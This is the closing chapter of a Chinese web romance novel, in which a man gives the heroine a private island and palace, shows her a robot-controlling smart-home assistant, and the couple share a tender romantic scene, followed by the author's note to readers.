他用钟卿悦的名义买下了一座海岛,从落地拿到产权证到大面积整改岛上的基础设施,所有的一切他都亲历亲为。所以之前忙的不止是工作,还有海岛的装修,需要赶在她生日前完工。 钟卿悦惊得半天才说出话,“为什么要买海岛?” 谢昱宁看着她,表情十分认真,“我想有一个只有我们两个人的地方。” 飞机落地,天彻底暗下来。走下飞机,钟卿悦才将整座海岛的样子纳入眼底。现在所在的停机坪被建在山顶最高端,站在这里能看到海边码头点点亮光,半山腰处豪华庄园灯火通明。 “满意吗?”谢昱宁的声音响在耳畔。 “白天应该会更漂亮。”她扬起笑脸,“哥,这个生日礼物我很喜欢。” “喜欢就好。走吧,回家。” 坐上下山的商务车,一路在蜿蜒曲折的山路上行驶,大约十几分钟后,车子开进庄园的大门,在宽阔的柏油马路上疾驰,驶向尽头象牙白的豪华宫殿。 下了车,宫殿的红棕色木门大敞着,往里走是挑高十几米的中央大厅,穹顶上还绘着文艺复兴时期的壁画,正中间悬挂的水晶灯垂落下来,散发的盈盈辉光照在浅色地面上,整间屋子宛如白昼般明亮。 身后的木门被随行的司机从外面关上,这间偌大的宫殿只剩两人。 谢昱宁牵着她往里走,说道:“时间有些急,屋子只是简单翻修了一下,如果不喜欢这样的风格,回去后我找人重新设计。” 钟卿悦挽住他的胳膊,笑盈盈道:“住在什么样的房子里都可以,只要你在就好。” “走吧,带我去楼上看看。” 踏上大理石旋转楼梯,上到二楼,纵深的走廊两侧挂着中世纪的精美壁画,昏黄的壁灯幽幽亮着,一排延伸出去,如星海般。 走廊尽头是他们的主卧,推开暗红色雕花木门,屋内别有一番光景。偌大的空间,欧式的装修风格,金色和白色为主色调,墙上全是各色壁画,连卧室都使用极尽奢华的水晶吊灯,一眼望过去让人眼花缭乱。 钟卿悦打量一圈,眯起眸子,“看的眼睛好难受,幸好晚上睡觉关了灯什么都看不到。” 谢昱宁:“回去我们重新设计。” “好。” 钟卿悦走到窗边,推开窗子,迎面扑来清凉的海风,深吸一口气,鼻息间充满咸咸气味,“好舒服。” 谢昱宁从身后环抱住她,下巴抵在她颈窝处,“悦儿,这里只有我们。” 她偏头蹭着他,“我喜欢只有我们。” 他抱着她转过身,让她看向不远处的墙壁上,那里有一处与房间装修风格格格不入的地方,但钟卿悦觉得十分熟悉,和故城衣帽间里的小鱼丸一模一样。 谢昱宁似是猜到她所想,“我把小鱼丸升级了,在这里它能操控更多。” 他拉着她走近,用面容唤醒小鱼丸,“它可以控制机器人做饭、打扫基础卫生清洁,可以召唤情感交互机器人陪你聊天,还能为你整理衣帽间。所有服务,它都能操控机器人做到。” 谢昱宁贴近她,自然地撩开她耳边发丝,声线温柔似呢喃似蛊惑,“至于其他时间……” “至于晚上,哥哥会陪你。” 钟卿悦仰头看他,唇边梨涡深深,“哥哥。” “嗯?”谢昱宁疑惑看着她,“不喜欢吗?” 她神秘地摇摇头,冲他勾勾手指,示意他靠近些,“我有个秘密要告诉你。” 谢昱宁不明所以,乖巧地歪头靠了过去,下一秒,她猛然搂住他的脖子,柔软的唇瓣紧贴在他耳边,“我爱你。” 他身子一僵,似触电般激起细微颤栗,因为她的呼吸,因为她的爱意。 他伸手搂住她的腰身,微微用力将人扯进怀里,学着她的样子,将唇靠近,有意将温热的呼吸喷薄在她耳廓,“我爱你,永远爱你。” 吻落在她的耳垂,轻舔吮吸,像对待稀世珍宝般小心翼翼。钟卿悦下意识仰起脖子去躲避,那湿濡的唇瓣便蜿蜒而下,滑至颈间,滑至锁骨,流下一串晶莹的水痕。 夜很长,海风把蕾丝窗帘吹起,摇摇晃晃地飘荡,潮湿的水意沾染在布料上,变得更加沉重。 时间流逝,爱意在无止尽蔓延- 全文完- 【📢作者有话说】 番外大概要过几天再更新。 这篇其实写得很不好,回过头复盘发?*? 现许多问题,在正文完结后会开始陆陆续续精修,感谢追更的宝宝们不嫌弃我和我的文字,一路支持。 本章掉落小红包,谢谢大家! [可怜][可怜]下一本要回归小甜文了! [爆哭]等待我荣耀回归!